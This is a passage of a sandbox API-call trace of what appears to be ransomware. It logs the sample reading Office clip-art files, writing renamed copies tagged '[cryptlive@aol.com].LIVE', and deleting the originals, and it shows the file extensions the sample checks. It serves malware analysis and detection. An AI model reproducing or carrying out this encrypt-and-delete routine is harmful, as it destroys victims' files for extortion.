SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0139.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.812] lstrlenW (lpString=".doc") returned 4 [0139.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.812] lstrlenW (lpString=".docx") returned 5 [0139.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.812] lstrlenW (lpString=".pdf") returned 4 [0139.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.812] lstrlenW (lpString=".xls") returned 4 [0139.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.812] lstrlenW (lpString=".xlsx") returned 5 [0139.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.812] lstrlenW (lpString=".ppt") returned 4 [0139.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.812] lstrlenW (lpString=".zip") returned 4 [0139.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.812] lstrlenW (lpString=".rar") returned 4 [0139.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.812] lstrlenW (lpString=".bz2") returned 4 [0139.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.812] lstrlenW (lpString=".7z") returned 3 [0139.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.812] lstrlenW (lpString=".dbf") returned 4 [0139.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.812] lstrlenW (lpString=".1cd") returned 4 [0139.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.812] lstrlenW (lpString=".jpg") returned 4 [0139.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.813] lstrlenW (lpString=".doc") returned 4 [0139.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString=".docx") returned 5 [0139.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.813] lstrlenW (lpString=".pdf") returned 4 [0139.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString=".xls") returned 4 [0139.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.813] lstrlenW (lpString=".xlsx") returned 5 [0139.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.813] lstrlenW (lpString=".ppt") returned 4 [0139.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.813] lstrlenW (lpString=".zip") returned 4 [0139.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.813] lstrlenW (lpString=".rar") returned 4 [0139.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString=".bz2") returned 4 [0139.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString=".7z") returned 3 [0139.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.813] lstrlenW (lpString=".dbf") returned 4 [0139.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.813] lstrlenW (lpString=".1cd") returned 4 [0139.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0139.813] lstrlenW (lpString=".jpg") returned 4 [0139.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.813] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.814] lstrlenW (lpString="BS00438_.WMF") returned 12 [0139.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.816] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1212) returned 1 [0139.816] CloseHandle (hObject=0x3ac) returned 1 [0139.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0139.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.816] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.816] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.817] GetLastError () returned 0x0 [0139.817] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4bc, lpOverlapped=0x0) returned 1 [0139.832] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0139.833] ReadFile (in: hFile=0x3ac, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.833] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.834] SetEndOfFile (hFile=0x390) returned 1 [0139.834] CloseHandle (hObject=0x390) returned 1 [0139.834] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.834] SetEndOfFile (hFile=0x3ac) returned 1 [0139.836] CloseHandle (hObject=0x3ac) returned 1 [0139.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0140.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.171] lstrlenW (lpString=".doc") returned 4 [0140.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.171] lstrlenW (lpString=".docx") returned 5 [0140.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.171] lstrlenW (lpString=".pdf") returned 4 [0140.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.171] lstrlenW (lpString=".xls") returned 4 [0140.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.171] lstrlenW (lpString=".xlsx") returned 5 [0140.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.171] lstrlenW (lpString=".ppt") returned 4 [0140.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.171] lstrlenW (lpString=".zip") returned 4 [0140.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.171] lstrlenW (lpString=".rar") returned 4 [0140.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString=".bz2") returned 4 [0140.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString=".7z") returned 3 [0140.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.172] lstrlenW (lpString=".dbf") returned 4 [0140.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.172] lstrlenW (lpString=".1cd") returned 4 [0140.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.172] lstrlenW (lpString=".jpg") returned 4 [0140.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.172] lstrlenW (lpString=".doc") returned 4 [0140.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString=".docx") returned 5 [0140.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.172] lstrlenW (lpString=".pdf") returned 4 [0140.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString=".xls") returned 4 [0140.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.172] lstrlenW (lpString=".xlsx") returned 5 [0140.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.172] lstrlenW (lpString=".ppt") returned 4 [0140.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.172] lstrlenW (lpString=".zip") returned 4 [0140.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.172] lstrlenW (lpString=".rar") returned 4 [0140.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString=".bz2") returned 4 [0140.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.172] lstrlenW (lpString=".7z") returned 3 [0140.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.173] lstrlenW (lpString=".dbf") returned 4 [0140.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.173] lstrlenW (lpString=".1cd") returned 4 [0140.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0140.173] lstrlenW (lpString=".jpg") returned 4 [0140.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.173] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.173] lstrlenW (lpString="BS00445_.WMF") returned 12 [0140.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.181] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3796) returned 1 [0140.181] CloseHandle (hObject=0x3b0) returned 1 [0140.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0140.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.183] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.183] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.184] GetLastError () returned 0x0 [0140.184] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xed4, lpOverlapped=0x0) returned 1 [0140.185] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xee0, lpOverlapped=0x0) returned 1 [0140.186] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.186] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.186] SetEndOfFile (hFile=0x390) returned 1 [0140.187] CloseHandle (hObject=0x390) returned 1 [0140.187] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.187] SetEndOfFile (hFile=0x3b0) returned 1 [0140.189] CloseHandle (hObject=0x3b0) returned 1 [0140.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.190] lstrlenW (lpString=".doc") returned 4 [0140.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.190] lstrlenW (lpString=".docx") returned 5 [0140.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.190] lstrlenW (lpString=".pdf") returned 4 [0140.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.190] lstrlenW (lpString=".xls") returned 4 [0140.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.190] lstrlenW (lpString=".xlsx") returned 5 [0140.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.190] lstrlenW (lpString=".ppt") returned 4 [0140.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.190] lstrlenW (lpString=".zip") returned 4 [0140.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.190] lstrlenW (lpString=".rar") returned 4 [0140.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.190] lstrlenW (lpString=".bz2") returned 4 [0140.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.190] lstrlenW (lpString=".7z") returned 3 [0140.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.190] lstrlenW (lpString=".dbf") returned 4 [0140.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.190] lstrlenW (lpString=".1cd") returned 4 [0140.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.190] lstrlenW (lpString=".jpg") returned 4 [0140.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.191] lstrlenW (lpString=".doc") returned 4 [0140.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString=".docx") returned 5 [0140.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.191] lstrlenW (lpString=".pdf") returned 4 [0140.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString=".xls") returned 4 [0140.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.191] lstrlenW (lpString=".xlsx") returned 5 [0140.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.191] lstrlenW (lpString=".ppt") returned 4 [0140.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.191] lstrlenW (lpString=".zip") returned 4 [0140.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.191] lstrlenW (lpString=".rar") returned 4 [0140.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString=".bz2") returned 4 [0140.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString=".7z") returned 3 [0140.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.191] lstrlenW (lpString=".dbf") returned 4 [0140.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.191] lstrlenW (lpString=".1cd") returned 4 [0140.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0140.191] lstrlenW (lpString=".jpg") returned 4 [0140.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.192] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.192] lstrlenW (lpString="BS00453_.WMF") returned 12 [0140.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.192] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2436) returned 1 [0140.192] CloseHandle (hObject=0x3b0) returned 1 [0140.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0140.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.193] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.193] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.194] GetLastError () returned 0x0 [0140.194] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x984, lpOverlapped=0x0) returned 1 [0140.195] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x990, lpOverlapped=0x0) returned 1 [0140.196] ReadFile (in: hFile=0x3b0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.196] WriteFile (in: hFile=0x390, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.196] SetEndOfFile (hFile=0x390) returned 1 [0140.196] CloseHandle (hObject=0x390) returned 1 [0140.197] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.197] SetEndOfFile (hFile=0x3b0) returned 1 [0140.199] CloseHandle (hObject=0x3b0) returned 1 [0140.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0140.200] lstrlenW (lpString=".doc") returned 4 [0140.200] lstrcmpiW 